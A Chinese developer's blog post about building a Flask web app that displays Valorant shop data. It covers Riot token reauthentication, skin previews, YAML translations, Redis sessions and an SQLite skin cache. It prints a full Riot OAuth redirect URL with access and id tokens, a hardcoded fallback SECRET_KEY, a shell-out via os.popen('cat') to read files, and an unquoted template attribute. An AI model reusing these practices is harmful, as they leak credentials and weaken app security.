self.session = session_interface.open_session(self.app, self.request)
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\site-packages\flask_session\sessions.py", line 329, in open_session
sid = request.cookies.get(app.session_cookie_name)
AttributeError: 'Flask' object has no attribute 'session_cookie_name'

这一个提示直接给我干懵了,因为我在codespaces里面是调试成功的,就没遇到500的问题,结果部署就出了问题,最最最关键的事情是,我当时没有分masterdev分支,也没有分productiondev分支(指部署上),然后直接让我的服务炸裂,不管谁访问都是500。不过当时我也没有发出去,用的人也就我群里的老朋友们,然后我就在群里发了条消息

这个时候刚好准备回家了,我就收拾了一下东西,先回家去

回到家里,我做的第一件事情就是回滚版本(就是把手机端页面适配先去掉),结果还是给我报一样的错误

接着我去问了ChatGPT(这个时候我就要划掉万能这两个字了,完全就是在胡说嘛)

我就很懵逼,我明明是配置了SECRET_KEY的,怎么还出现这种问题呢,我以为是PaaS平台(Zeabur)没有读入我的环境变量,我当时是这么写的

1
app.config['SECRET_KEY'] = 'A7C55959-3577-5F44-44B6-11540853E272' if not os.environ.get('SECRET_KEY') else os.environ.get('SECRET_KEY')

这里很明显就是说没有读取到SECRET_KEY也有一个缺省值,这样写了以后还是死活打不开,我甚至去问了Zeabur的管理员(真的要给他点赞他真的每次都在解答群友的问题)

就是说我写法是没问题的,而且我后来开了个简单的应用试了一下,代码是这样的

实测这个变量env确实进去了,不过端口没有进去是因为它用了Gunicorn开服务,所以端口不是在这里设置的

所以说,不是我代码的问题,应该是其他的原因

我重新开了一个Codespaces(为了重新开一个环境),然后按照我之前的配置方法去配置,诶,也出现了这个问题

这更加印证了代码不是这个问题的锅,应该是其他的原因

后来我去翻flask的文档和flask-session的文档,结果在flask的文档里面找到了这个更新 -> Update 2.3.0

注意我选定的位置,没错flask 2.3.0更新把session_cookie_name给删掉了,且Flask-Session没有对此进行适配,导致了这个错误

于是我赶紧在requirements.txt里面固定了flask的版本

1
flask==2.2.4

重新部署后发现没问题了,这才安心了

从此刻开始,我开了Dev分支,在Zeabur也设置了Dev环境,用来开发用(省得又bug了导致服务中断)

中场休息

嗯没错,崩铁开服了,于是玩了一天的崩铁(开服冲级嘛),但我没想到8点就开服了,我是8点多准备开鼠标连点器抢UID的,因为当天九点半我要学车,月底要考科目二,结果本来想定位那个开服提示的确定键的,自己先点击了一下,然后进去了(捂脸),就变成UID前排了(100头,UID100201759,图为2023/5/10截的,崩铁我是手柄玩家)

更换皮肤的显示语言

这个建议是@Vanilluv提出的,因为这个网站毕竟是看国际服的,又不是看国服的,国际服最多是繁中而不是简中,所以推荐更换为繁中。这个也简单,更改了一下请求API的参数和访问缓存的语言就搞定了

自动保活

就是字面意思啦,上面也提到了拳头给的access_tokenentitlement_token只有一小时的寿命,如果不进行重新获取的话,就会需要重新登陆

但其实这一节做了我很久,因为在我的登录模块的轮子里面有这样的内容

1
data2 = {"language": "en_US","password": self.password,"remember": "true","type": "auth","username": self.username,}

这是登录的POST请求体,我天真地以为直接把remember设置为true就可以了,但是经过两天的测试发现这东西基本就是摆设……

本来我是不报什么希望了,然后在我翻Vshop(因为Vshop有自动更新token的机制,所以去翻了一下看看能不能找到什么线索)的时候,找到了它的官网,在它的Credit页面,有一项引起了我的注意

因为我一开始在Github上没找到什么好的文档,找到的API就是他这里面写的这个valorant-api.com,而且我也用上了,但是这个库我是真的没有看见过,回到家我就直接查看这个库,果不其然里面有我们需要的东西

在文档里面有一项叫做Cookie Reauth,就是利用Cookie进行重新认证

这里的cookie按照我的理解是登陆时用的cookie,我先用浏览器进行访问,直接GET这个链接

https://auth.riotgames.com/authorize?redirect_uri=https%3A%2F%2Fplayvalorant.com%2Fopt_in&client_id=play-valorant-web-prod&response_type=token%20id_token&nonce=1

然后发现它会重定向到一个404页面(这404真好看哪天我要给他扒下来),但是但是,网址栏里面有我们需要的东西

完整链接如下(账号已登出,现在是无效的)

https://playvalorant.com/opt_in#access_token=eyJraWQiOiJzMSIsImFsZyI6IlJTMjU2In0.eyJwcCI6eyJjIjoiYXMifSwic3ViIjoiZjYyMTYyNjUtN2U3NS01NDRjLTgyMGYtZWI5ZGY0MjEyM2UyIiwic2NwIjpbIm9wZW5pZCLCJjbG0iOlsib3BlbmlkIl0sImRhdCI6eyJjIjoidXcxIiwibGlkIjoiV3BvUUhWRW1yY1hmVFJnMVU3MnpwZyJ9LCJpc3MiOiJodHRwczpcL1wvYXV0aC5yaW90Z2FtZXMuY29tIiwiZXhwIjoxNjgzNzE1MTg4LCJpYXQiOjE2ODM3MTE1ODgsImp0aSI6ImRJNzB4d01JMXE4IiwiY2lkIjoicGxheS12YWxvcmFudC13ZWItcHJvZCJ9.ZffyYoYQlaWAOyr3rBSjtqHe4XBa8zlJU2lRvZGA-wgqU5PLR_wrWvd-6kObVwkJzfen7rpcSSQG9CFbZqflBYVtowadeufGarMM9NgRR6Pkyyfuo845M1NJp67O4EkpP0U-hRDrltghETxJLwGYFQntNVM1WWtW19iIZTQeWKk&scope=openid&iss=https%3A%2F%2Fauth.riotgames.com&id_token=eyJraWQiOiJzMSIsInR56ImlkX3Rva2VuK2p3dCIsImFsZyI6IlJTMjU2In0.eyJhdF9oYXNoIjoiZGd3TzM2cVpNdFpsa1ctWm9xdGpZZyIsInN1YiI6ImY2MjE2MjY1LTdlNzUtNTQ0Yy04MjBmLWViOWRmNDIxMjNlMiIsImF1ZCI6InBsYXktdmFsb3JhbnQtd2ViLXByb2QiLCJhY3IiOiIwIiwiYW1yIjpbInBhc3N3b3JkIiwibWZhIiwiY29va2llIl0sImlzcyI6Imh0dHBzOlwvXC9hdXRoLnJpb3RnYW1lcy5jb20iLCJleHAiOjE2ODM3OTc5ODgsImxvY2FsZSI6InpoX01ZIiwiaWF0IjoxNjgzNzExNTg4LCJub25jZSI6IjEifQ.AOQt3i6xEZyQlNKXPT1ds4Lt8sVsEXR3dS7DJ9S8xbNSR1Pd4YON8nDAmV4F_XSH5t9VmBzv54-HLzJvRhJkJAgkOgJQAcHyetgcf0t6MealgfH2HsSnt8w9IlEgJXK6DVwGUA52inZtlq6xQUtfqigNlkXcRFtQQwnt_D-x_TU&token_type=Bearer&session_state=ps8t9j9WtxNYxhSuRy1SHt3aiUmROifqVwiC_zG5k.Nszsu7v9Q35PH87EzTqh8A&expires_in=3600

我们进行拆分,可以分为一下这几个东西

  • access_token:认证用的token
  • scope=openid
  • iss=https%3A%2F%2Fauth.riotgames.com
  • id_token:不知道是个啥token,但我们不用
  • token_type=Bearer
  • session_state:应该是session的标识符
  • expires_in=3600(过期时间3600秒,这也就是1小时寿命的来源)

现在是有了access_token,我们还需要获得entitlement_token才能凑齐七颗龙珠(bushi)

在上面提到的那个文档中,还有这样的一个项目

这个给我们展示了如何获取entitlement_token,这里headers是需要把认证用的token填进去的,这就是为什么要先获取access_token,访问后会获得文档给我们展示的json,从中提取entitlement_token就行了

那么最后的问题来了,如果你是用Python直接访问拳头的链接,会被Cloudflare给挡住(因为你即使有Cookie,但也没有会话Session的存在),就像我调试的这样

所以非常有必要把之前的session给保留,然后我就把之前登录用的session存入用户与我的服务之间的Session里面了,方便调用

然后推入Dev分支,Dev环境,调试了几天(那几天还是51放假),没问题后并入了master分支

皮肤预览

做这个的原因是,既然Vshop有这个功能,那我肯定也要嘛(别人有的我们也得有,毕竟本来想法就是对标Vshop的)

因为我对JavaScript不熟,所以一开始是打算点击按钮以后打开一个新的页面,里面只有一个视频的,结果被@Vanilluv狠狠地吐槽了说不好看

最后还是选择了弹窗,一开始我直接把Soft UI的实例弹窗加进去,发现它不弹弹窗,就,什么也没有

后来我又找GPT去了,他告诉我可能是没有引入js,于是我就去cdnjs里面,找了bootstrap5的js引入后解决了问题,但是新的坑又来了

第二次踩坑:ID选择器变量

当我做好了以后,我发现一个问题就是,有的皮肤等级/炫彩点击就能弹出框框,有的就弹不出来,然后给我控制台报错

我一开始去问GPT,他说我可能是不存在id为这个东西的元素,我就奇了怪了,我说我命名有这东西,而且在F12控制台里面是能够找到对应的元素的,咋就不行

然后我改成在class里面写uuid,选择器改成了.uuid这样的格式,也是跟我说不行,我就非常纳闷

既然GPT给不了我答案,我就开始搜索,搜索着发现有一篇选择器说明的文章(找不到了,要不然我就附上链接了),里面写了选择器的格式规定

1
2
3
4
5
6
7
8
允许的字符:
- 0-9 数字
- A-Z 大写字母
- a-z 小写字母
- 中横线(-)
- 下划线(_)

特别规定:不能以数字开头

我再反过来看,我的这个不合法的选择器正好是以数字开头的,于是我采取了一个办法就是,在武器等级的前面加上weapon-头,在炫彩的前面加上chorma-头,这样才能够正常弹出我需要的框框

多语言

自大部分功能已经做完后,我就开始考虑多语言的事情了,因为有可能不只是我们在用,老外说不定看到了也想试一试(想Peach了),所以就开始做多语言了

因为json写起来很麻烦,而且不能够写注释,于是我用了yaml文档作为我的翻译索引文件的格式

我先按照我的网站,哪些地方的字是可以写其他语言的,大概构建了一下我的yaml文档格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
global:
title:
dailyshop: 每日商店
nightmarket: 折扣夜市
shopdefault: 我的商店
description:
line1: 瓦罗兰特(无畏契约)商店查看,让你不用登陆游戏也能够查看每日商店(仅支持国际服)
line2: 所有的登录名和密码服务器均不进行存取,仅用于登录
nav:
title: 瓦罗兰特商店查看
button:
dailyshop: 每日商店
nightmarket: 折扣夜市
account: 账户管理
authinfo: 认证信息
sponsor: 恰饭链接
logout: 退出登录

login:
front:
title: 登陆你的Riot账号
description:
line1: 服务器不对账号的登录名和密码进行存取
line2: 支持带有二步验证的账号,欢迎注重安全的各位使用!
form:
username:
title: 用户名
placeholder: 请输入你的用户名
password:
title: 密码
placeholder: 请输入密码
checkbox:
remember: 保持登录(减少登录次数)
nostorage: 我已明白网站仅会将我的登录名和密码用于登录我的账号
eula: 我同意<a href="/EULA" class="text-dark"><u>最终用户许可协议</u></a>
button:
login: 登录
alert:
nocheck: 请先正确输入用户名和密码,并勾选下面两项后再点登陆!
loginerror: 登录出错,请检查账号密码,然后重试!

mfa:
front:
title: 二步验证
description:
line1: 请前往你的绑定邮箱获取验证码后,在这里填入
line2: 服务器不对账号的登录名和密码进行存取
form:
code:
title: 二步验证码
placeholder: 请输入验证码
button:
confirm: 确认

market:
welcome:
# Welcome message format:
# <opening>{{player.name}}#{{player.tag}}
# <credit> {{player.vp}} VP & {{player.rp}} RP
opening: 欢迎回来
credit: 你现在持有
title: 今日商店 | Daily Shop
table:
skinname: 皮肤名称
skinimg: 皮肤图片
skincost: 皮肤售价
skinpreview: 皮肤预览
modal:
videonotavaliable: 当前浏览器无法预览视频
button:
close: 关闭

nightmarket:
welcome:
# Welcome message format:
# <opening>{{player.name}}#{{player.tag}}
# <credit> {{player.vp}} VP & {{player.rp}} RP
opening: 欢迎回来
credit: 你现在持有
notavaliable: 夜市还没有开放哦,先去看看每日商店吧!
title: 夜市 | Night Market
table:
skinname: 皮肤名称
skinimg: 皮肤图片
skincost: 皮肤售价
skinpreview: 皮肤预览
modal:
videonotavaliable: 当前浏览器无法预览视频
button:
close: 关闭

error:
error500:
tip: 500服务器错误
error: 肥肠抱歉,服务器发生了点错误
detail:
front: 服务器发生了以下错误:
solve: 你可以尝试点击下方的“重置网站数据”按钮来解决这个问题。<br>如果你已经点击了下面的按钮,但仍然出现了这个问题,请尝试清除浏览器的cookie来重置会话<br>如果上面这两种方法你都已经尝试过了,那么请带着此错误信息联系开发者!
button:
reset: 重置网站数据
error404:
tip: 404未找到
error: 你来到了一个无人所知的地方
button:
home: 返回首页

然后就开始在模板里面修改,因为yaml的读取是用这样的代码

1
2
3
import yaml

lang = yaml.load(var, Loader=yaml.FullLoader)

我一开始以为这个var可以是文件,结果发现读出来的lang的变量类型是str而不是dict,才发现应该读入文件

但是,每次加载页面的时候都要读入文件会导致读写吞吐量变大,而且万一前一个进程还没有释放文件,下一个进程又开始读取了就会出bug(特别是访问量很多的情况下),为了避免这个情况我就采用了linux自带的命令cat来完成这个事情

最后改成了这样子

1
lang=yaml.load(os.popen(f'cat lang/{str(request.accept_languages.best_match(app.config["BABEL_LANGUAGES"]))}.yml').read(), Loader=yaml.FullLoader)

虽然读写可能没有什么改善,但是至少不会锁文件,而且也不会爆内存(指读取后不释放变量)

然后写了几个语言的配置文件,分别是英语en、简中zh-CN、繁中zh-TW、日语(机翻)ja-JP,然后写了对应的yml文件放入lang文件夹

在上面我们做了皮肤预览的按钮,但是有些皮肤的等级会带有特殊的说明,例如

  • 黑市 暴徒 等級2:此造型設計會因你是攻擊方或守備方而變化
  • 靈爭鬪魂 幻象 等級2:每次擊殺敵人時,都會播放專屬視覺特效及音效
  • 781-A協定 幻象 等級5:在地化語音可能會因地區而異
  • 2021冠軍賽 暴徒 等級4(在對戰中取得最多擊殺時才會顯示光環)

这种写在武器等级后面的说明型的文字,如果写进按钮里面会非常的长。本来不做多语言的话就可以直接简单粗暴replace这些字符就行了,但是做了多语言就不可以这么做了

还有就是,在valorant-api返回的数据中,每个等级升级的内容都是用类似metadata的字符去说明的(下面是没做多语言之前直接写死的转换表)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
levelup_info = {
"EEquippableSkinLevelItem::VFX": '视觉效果',
"EEquippableSkinLevelItem::Animation": '视觉动画',
"EEquippableSkinLevelItem::Finisher": '终结特效',
"EEquippableSkinLevelItem::Voiceover": "本地化语音",
"EEquippableSkinLevelItem::SoundEffects": "音效",
"EEquippableSkinLevelItem::FishAnimation": "鱼缸动画",
"EEquippableSkinLevelItem::KillBanner": "击杀旗帜",
"EEquippableSkinLevelItem::TopFrag": "击杀光环",
"EEquippableSkinLevelItem::KillCounter": "击杀计数器",
"EEquippableSkinLevelItem::InspectAndKill": "击杀特效",
"EEquippableSkinLevelItem::KillEffect": "击杀特效&音效",
"EEquippableSkinLevelItem::AttackerDefenderSwap": "随阵营变色"
}

多语言下,我直接把他们归到了metadata字典里面去,写在对应语言的yaml文件中(下面为简中,但武器显示仍然为繁中,所以置换表为繁中,而转换表为简中)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
metadata:
level:
# This means what word "level" shoule be like in the language, you can find it in every upgradable skin
# example: https://valorant-api.com/v1/weapons/skinlevels/4c8a49bd-4118-9523-6612-4a924651b4a9
level: 等級
EEquippableSkinLevelItem::VFX: 视觉效果
EEquippableSkinLevelItem::Animation: 视觉动画
EEquippableSkinLevelItem::Finisher: 终结特效
EEquippableSkinLevelItem::SoundEffects: 音效
# For Protocol 781-A Level 5 https://valorant-api.com/v1/weapons/skinlevels/a117218e-4f0e-0cca-7758-7ea30b08ac05
EEquippableSkinLevelItem::Voiceover: 本地化语音
# For Neptune Level 2 https://valorant-api.com/v1/weapons/skinlevels/24e39414-4a8e-e800-1242-08bd94b5e3c4
EEquippableSkinLevelItem::FishAnimation: 鱼缸动画
# For Neptune Level 3 https://valorant-api.com/v1/weapons/skinlevels/7b2826b6-4771-7529-b656-b89b9c1d86b6
EEquippableSkinLevelItem::KillBanner: 击杀旗帜
# For Champions Set Level 4 https://valorant-api.com/v1/weapons/skinlevels/4c8a49bd-4118-9523-6612-4a924651b4a9
EEquippableSkinLevelItem::TopFrag: 击杀光环
# For RGX 11z Pro Set Level 5 https://valorant-api.com/v1/weapons/skinlevels/796cf1d2-4893-fee7-3401-beb277c726c8
EEquippableSkinLevelItem::KillCounter: 击杀计数器
# For Champions Set Level 2 https://valorant-api.com/v1/weapons/skinlevels/f96ed262-4280-2363-2542-38b5620bfbb5
EEquippableSkinLevelItem::InspectAndKill: 击杀特效
# For some skins https://valorant-api.com/v1/weapons/skinlevels/bf4489ad-4739-555c-2511-7cbcc503566c
EEquippableSkinLevelItem::KillEffect: 击杀特效&音效
# For Black.Market Set Level 2 https://valorant-api.com/v1/weapons/skinlevels/65c7df10-4a5e-7eaa-dc45-d0a46f147b18
EEquippableSkinLevelItem::AttackerDefenderSwap: 随阵营变色
description:
# All these sources to replace can be found at the links above
# You need to add ?language=<your lang> to check your language
# Available language: ar-AE / de-DE / en-US / es-ES / es-MX / fr-FR / id-ID / it-IT / ja-JP / ko-KR / pl-PL / pt-BR / ru-RU / th-TH / tr-TR / vi-VN / zh-CN / zh-TW
# For China mainland players, all the names of the guns are using zh-TW, cause this program does not support Valorant from Tencent.
# example: https://valorant-api.com/v1/weapons/skinlevels/a117218e-4f0e-0cca-7758-7ea30b08ac05?language=zh-CN
Voiceover: 在地化語音可能會因地區而異
KillEffect: 每次擊殺敵人時,都會播放專屬視覺特效及音效
AttackerDefenderSwap: 此造型設計會因你是攻擊方或守備方而變化
TopFrag: (在對戰中取得最多擊殺時才會顯示光環)

然后在模板文件的需要修改语言的对应位置,写好变量,就达成目的啦!

Redis存储session

每次部署的时候,因为我们使用的是filesystem作为session的存储对象,所以在PaaS平台里面,部署会清除之前的数据,导致用户需要重新登陆。因为Flask-Session是支持Redis作为存储的,而且我自己也用的比较多,所以我就做了一个可以使用Redis存储的功能

直接让用户把配置写在环境变量里面(README里面有写)

1
2
3
4
5
6
7
8
$ export SESSION_TYPE=filesystem|redis  # If you want to use redis u need to set it as redis, and configure the following items
$ export REDIS_URL=<Your Redis URL>
# If your redis url cannot be parsed
$ export REDIS_HOST=<Your Redis Host>
$ export REDIS_PORT=<Your Redis Port>
$ export REDIS_PASSWORD=<Your Redis Password>
# Optional
$ export REDIS_SSL=True # If your redis does not support this, please DO NOT configure it, or this will make your application timeout.

这样就可以在filesystemredis中进行选择,我用了upstash的免费Redis存储,一个月可以用1W条命令,但是但是,在我测试的过程中我发现,就我们群里的几个人用的情况下,一天都能去到300条命令,多的时候甚至去到了500,这算下来一个月根本不够用啊

于是我投向了Zeabur的Redis存储应用

第三次踩坑:Redis的SSL连接

我在Zeabur里面新建了一个Redis数据库后,就准备把数据库连接改过去了,反正原来的Redis里面没什么数据,尽早更换也不用迁移数据,让群友重新登陆一下就行了,不换还好,一换就出事了,直接timeout了,我以为是Zeabur的服务问题(因为它还在试运营阶段,平常确实有点小问题),就去问老板

我们排除了半个小时也没排出来问题,然后我也不好意思打扰人家,我就说明天再看吧,然后我自己又捣鼓了一会,然后突然想到一个很重要的问题:我让用户设置过SSL,而且我写的是数据库支持再开,否则别开,我就想Zeabur的数据库是不是不支持SSL(Upstash是支持的),然后我就关掉了SSL试了一下,果不其然就是SSL的问题

然后我就跟老板汇报了这个问题,这事也就这么结了

皮肤库功能

这个还是@Vanilluv跟我提出的(口头上),那既然有要求咱就做嘛

我最开始是用缓存的json文件来做的皮肤库,做了大概两天,反正做的UI跟手机的卡片那样(因为如果还是表格的话会很奇怪)

先注册两个新的路径

1
2
3
4
5
6
7
@ app.route('/library', methods=["GET"])
def library(page: int = 1):
pass

@ app.route('/library/page/<page>', methods=["GET"])
def lib_handler(page: int = 1):
return library(int(page))

这样可以直接用上上面的那个library函数,避免重复造轮子

就做了大概一个下午就做完了,然后就发现了很多问题

对你没看错,这里面个人喜爱随机选择默认(右下角那个叉叉)都没有被过滤掉,而且最恶心的是这个随机选择每个武器对应一个对象,也就是说有多少个武器就有多少个随机选择,我直接头大~

然后我就随手修了一下,但是只是去掉了随机选择,默认皮肤没去掉(后面会说怎么解决的,这是个坑),我用了过滤器但是就是没去掉,让我很难受

这里的uuid是皮肤的UUID不是武器的UUID,如果你看了上面获取商店那一节的话,你就会知道武器的UUID跟默认皮肤(等级1)的UUID不是一个

结果在我晚上遛狗的时候,我想到了新的解决方法

利用Sqlite数据库作为缓存

我是脑袋里面突然蹦出数据库这个东西的,本来我是不怎么用数据库的(因为没怎么碰过数据库语法),但是想到后面还要做搜索功能,还是弄个数据库吧

于是我现在Navicat里面模拟建立数据库,按照如下结构建立

  • UUID (TEXT, Unique)
  • name (TEXT)
  • name-zh-CN (TEXT)
  • name-zh-TW (TEXT)
  • name-ja-JP (TEXT)
  • data (TEXT)
  • data-zh-CN (TEXT)
  • data-zh-TW (TEXT)
  • data-ja-JP (TEXT)

分别解释一下,UUID我设定的是武器的UUID,name是武器的名字,对应四种语言;data是皮肤数据,也是对应四种语言

然后更改了一下缓存更新的机制,改成用数据库进行存储

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import sqlite3
import requests
import json
import os
import time

sc_link = 'https://valorant-api.com/v1/weapons/skins?language=zh-CN'
tc_link = 'https://valorant-api.com/v1/weapons/skins?language=zh-TW'
jp_link = 'https://valorant-api.com/v1/weapons/skins?language=ja-JP'
en_link = 'https://valorant-api.com/v1/weapons/skins'

sc_levels_link = 'https://valorant-api.com/v1/weapons/skinlevels?language=zh-CN'
tc_levels_link = 'https://valorant-api.com/v1/weapons/skinlevels?language=zh-TW'
jp_levels_link = 'https://valorant-api.com/v1/weapons/skinlevels?language=ja-JP'
en_levels_link = 'https://valorant-api.com/v1/weapons/skinlevels'

Linkmap = [
('en', en_link),
('zh-CN', sc_link),
('zh-TW', tc_link),
('ja-JP', jp_link),
]

LinkLevelsmap = [
('en', en_levels_link),
('zh-CN', sc_levels_link),
('zh-TW', tc_levels_link),
('ja-JP', jp_levels_link),
]

def UpdateCache():
if not os.path.exists('assets/db/data.db'):
with open('assets/db/data.db', 'wb') as f:
f.close()
conn = sqlite3.connect('assets/db/data.db')
c = conn.cursor()
c.execute('CREATE TABLE skins (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT, data TEXT, "data-zh-CN" TEXT, "data-zh-TW" TEXT, "data-ja-JP" TEXT)')
c.execute('CREATE TABLE skinlevels (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT, data TEXT, "data-zh-CN" TEXT, "data-zh-TW" TEXT, "data-ja-JP" TEXT)')
conn.commit()
conn.close()



for lang, link in Linkmap:
print('Updating Skins Data of ' + lang)
conn = sqlite3.connect('assets/db/data.db')

# with open('data.json', encoding='utf8') as f:
# data = json.loads(f.read())
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
try:
c.execute(f'INSERT INTO skins ([uuid], name, data) VALUES (?, ?, ?)', (
i["uuid"], i["displayName"], json.dumps(i)))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE skins SET name = ?, data = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()
else:
for i in data['data']:
c.execute(f'UPDATE skins SET "name-{lang}" = ?, "data-{lang}" = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()

# Delete Useless Data
# For example: Random Favorite Skin
fliter = ['Random Favorite Skin',
"Standard Classic", "Standard Shorty", "Standard Frenzy", "Standard Ghost", "Standard Sheriff",
"Standard Stinger", "Standard Spectre",
"Standard Bucky", "Standard Judge",
"Standard Bulldog", "Standard Guardian", "Standard Phantom", "Standard Vandal",
"Standard Marshal", "Standard Operator",
"Standard Ares", "Standard Odin",
"Melee"]
conn = sqlite3.connect('assets/db/data.db')
c = conn.cursor()
for ignore in fliter:
c.execute('DELETE FROM skins WHERE name = ?', (ignore,))
conn.commit()
c.close()

for lang, link in LinkLevelsmap:
print('Updating Skin Levels Data of ' + lang)
conn = sqlite3.connect('assets/db/data.db')

# with open('data.json', encoding='utf8') as f:
# data = json.loads(f.read())
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
try:
c.execute(f'INSERT INTO skinlevels ([uuid], name, data) VALUES (?, ?, ?)', (
i["uuid"], i["displayName"], json.dumps(i)))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE skinlevels SET name = ?, data = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()
else:
for i in data['data']:
c.execute(f'UPDATE skinlevels SET "name-{lang}" = ?, "data-{lang}" = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()
c.close()

def UpdateCacheTimer():
while True:
UpdateCache()
time.sleep(3600)

if __name__ == '__main__':
UpdateCache()

在这里面,你会发现我多了一节用来清理无用数据(即上面提到的随机最爱和默认)的地方,之前我是用UUID,但是UUID实在是很难弄(你不知道对不对),所以我用武器的英文名作为判断

一开始我没有加入Standard这个单词在里面的,当时没想到会有这个,结果发现还是没有被去掉,然后看了下后台的数据才发现是有标准这个字段的

然后我才把Standard给加进去,才可以正常处理这些默认皮肤

皮肤库搜索功能

说白了就是用sqlite3的搜索功能,这也是我最后选择数据库的原因,如果要手解json的话很麻烦,而且程序运行很耗时间,所以直接用数据库语句就行了

1
SELECT uuid, name, data FROM skins WHERE name = %?%

百分号的作用就是通配符,虽然大部分的皮肤名字都是在尾巴,但是也不排除在前面(例如国服翻译的暴徒.exe,国际服台版写的是.exe 暴徒

在html中新建一个搜索框(按钮里面当然少不了瓦的标标)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<section>
<div class="container py-4">
<div class="row">
<div class="col-lg-7 mx-auto d-flex justify-content-center flex-column">
<form role="form" name="search" method="post" autocomplete="off" action="/library">
<div class="row">
<label>{{lang.library.form.search.title}}</label>
<div class="input-group">
{% if not query %}
<input type="text" class="form-control" placeholder="{{lang.library.form.search.placeholder}}"
name="query">
{% else %}
<input type="text" class="form-control" placeholder="{{lang.library.form.search.placeholder}}" value={{query}}
name="query">
{% endif %}
</div>
</div>
<br>
<div class="row">
<div class="col-md-12">
<button type="submit" class="btn bg-gradient-dark w-100"><img
src="/assets/img/img-navi-valorant-white.svg">{{lang.library.button.search}}</button>
</div>
</div>
</div>
</form>
</div>
</div>
</div>

也是用表单的方式,把搜索的内容提交到后端进行处理,后端进行字符串的拼接

1
2
3
4
query = '%' + request.form.get('query') + '%'# 加入通配符
c.execute(f'SELECT uuid, "name-{dictlang}", "data-zh-TW" FROM skins WHERE "name-zh-CN" LIKE ? OR "name-zh-TW" LIKE ?', (query, query))# 简中繁中一起搜索
conn.commit()# 提交语句运行
skins = c.fetchall()# 获取结果

因为武器内容的解析,搜索出来的结果因为语言的问题(简中繁中)所以不能用之前的Weaponlib类,我就直接把我那边的代码复制过来小改了一下,就丢进去用了

把武器进行解析,然后返回给render_template进行渲染就行了

附:数据库样本 -> VSC/data.db at dev · GamerNoTitle/VSC · GitHub

皮肤库根据武器进行搜索

这个就是加一大排按钮,然后点一下切换武器种类,不过做这个也挺麻烦的,因为近战武器它没有一个统一的称呼(例如个人近战单位 太极扇之类的),所以不能通过名称作为索引去做这个近战的分类

然后我发现了一个地方可以判断是否为近战,首先,下面是太极扇的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
{
"uuid": "2e4300f9-49b3-6bbe-af7c-94a6f56ff12e",
"displayName": "澄湖潋滟",
"themeUuid": "1468b29a-4a04-a34d-5b90-5da163f74e00",
"contentTierUuid": "e046854e-406c-37f4-6607-19a9ba8426fc",
"displayIcon": "https://media.valorant-api.com/weaponskins/2e4300f9-49b3-6bbe-af7c-94a6f56ff12e/displayicon.png",
"wallpaper": null,
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Melee_Koi_PrimaryAsset",
"chromas": [
{
"uuid": "2733ffb9-4285-f7cf-e01e-dbb9314f3a96",
"displayName": "澄湖潋滟",
"displayIcon": null,
"fullRender": "https://media.valorant-api.com/weaponskinchromas/2733ffb9-4285-f7cf-e01e-dbb9314f3a96/fullrender.png",
"swatch": "https://media.valorant-api.com/weaponskinchromas/2733ffb9-4285-f7cf-e01e-dbb9314f3a96/swatch.png",
"streamedVideo": null,
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Chromas/Standard/Melee_Koi_Standard_PrimaryAsset"
},
{
"uuid": "f6eb564b-4b08-ad4c-6704-42bf4e91453e",
"displayName": "澄湖潋滟 等级2\n(炫彩1 暗色)",
"displayIcon": null,
"fullRender": "https://media.valorant-api.com/weaponskinchromas/f6eb564b-4b08-ad4c-6704-42bf4e91453e/fullrender.png",
"swatch": "https://media.valorant-api.com/weaponskinchromas/f6eb564b-4b08-ad4c-6704-42bf4e91453e/swatch.png",
"streamedVideo": "https://valorant.dyn.riotcdn.net/x/videos/release-06.08/8a360856-412c-d772-c116-ca92aed3d809_default_universal.mp4",
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Chromas/v1/Melee_Koi_v1_PrimaryAsset"
}
],
"levels": [
{
"uuid": "ef67d6cb-4f7f-28ce-2973-cf90a97ae54d",
"displayName": "澄湖潋滟",
"levelItem": null,
"displayIcon": "https://media.valorant-api.com/weaponskinlevels/ef67d6cb-4f7f-28ce-2973-cf90a97ae54d/displayicon.png",
"streamedVideo": "https://valorant.dyn.riotcdn.net/x/videos/release-06.08/7d2d392a-4b3f-7cea-3573-ffaf12b25589_default_universal.mp4",
